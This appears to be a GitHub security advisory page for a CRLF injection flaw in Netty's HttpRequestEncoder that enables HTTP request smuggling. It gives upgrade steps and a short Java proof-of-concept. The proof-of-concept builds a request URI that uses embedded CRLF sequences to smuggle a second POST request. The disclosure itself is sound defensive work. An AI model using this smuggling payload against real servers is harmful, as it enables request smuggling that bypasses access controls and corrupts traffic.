GHSA-84h7-rjj3-6jx4
Netty has a CRLF Injection vulnerability in io.netty.handler.codec.http.HttpRequestEncoder
Quick fix
GHSA-84h7-rjj3-6jx4 — io.netty:netty-codec-http: upgrade to the fixed version with the command below.
# pom.xml: bump <version>4.2.8.Final</version> for io.netty:netty-codec-httpDetails
### Summary
The `io.netty.handler.codec.http.HttpRequestEncoder` CRLF injection with the request uri when constructing a request. This leads to request smuggling when `HttpRequestEncoder` is used without proper sanitization of the uri.
### Details
The `HttpRequestEncoder` simply UTF8 encodes the `uri` without sanitization (`buf.writeByte(SP).writeCharSequence(uriCharSequence, CharsetUtil.UTF_8);`)
The default implementation of HTTP headers guards against such possibility already with a validator making it impossible with headers.
### PoC
Simple reproducer:
```java public static void main(String[] args) {
EmbeddedChannel client = new EmbeddedChannel(); client.pipeline().addLast(new HttpClientCodec());
EmbeddedChannel server = new EmbeddedChannel(); server.pipeline().addLast(new HttpServerCodec()); server.pipeline().addLast(new ChannelInboundHandlerAdapter() { @Override public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception { System.out.println("Processing msg " + msg); } });
DefaultHttpRequest request = new DefaultHttpRequest( HttpVersion.HTTP_1_1, HttpMethod.GET, "/s1 HTTP/1.1\r\n" + "\r\n" + "POST /s2 HTTP/1.1\r\n" + "content-length: 11\r\n\r\n" + "Hello World" + "GET /s1" ); client.writeAndFlush(request); ByteBuf tmp; while ((tmp = client.readOutbound()) != null) { server.writeInbound(tmp); } } ```
### Impact
Any application / framework using `HttpRequestEncoder` can be subject to be abused to perform request smuggling using CRLF injection.
Are you affected?
Enter the version of the package you're using.
Affected packages
4.2.0.Alpha1Fixed in: 4.2.8.Final# pom.xml: bump <version>4.2.8.Final</version> for io.netty:netty-codec-http0Fixed in: 4.1.129.Final# pom.xml: bump <version>4.1.129.Final</version> for io.netty:netty-codec-http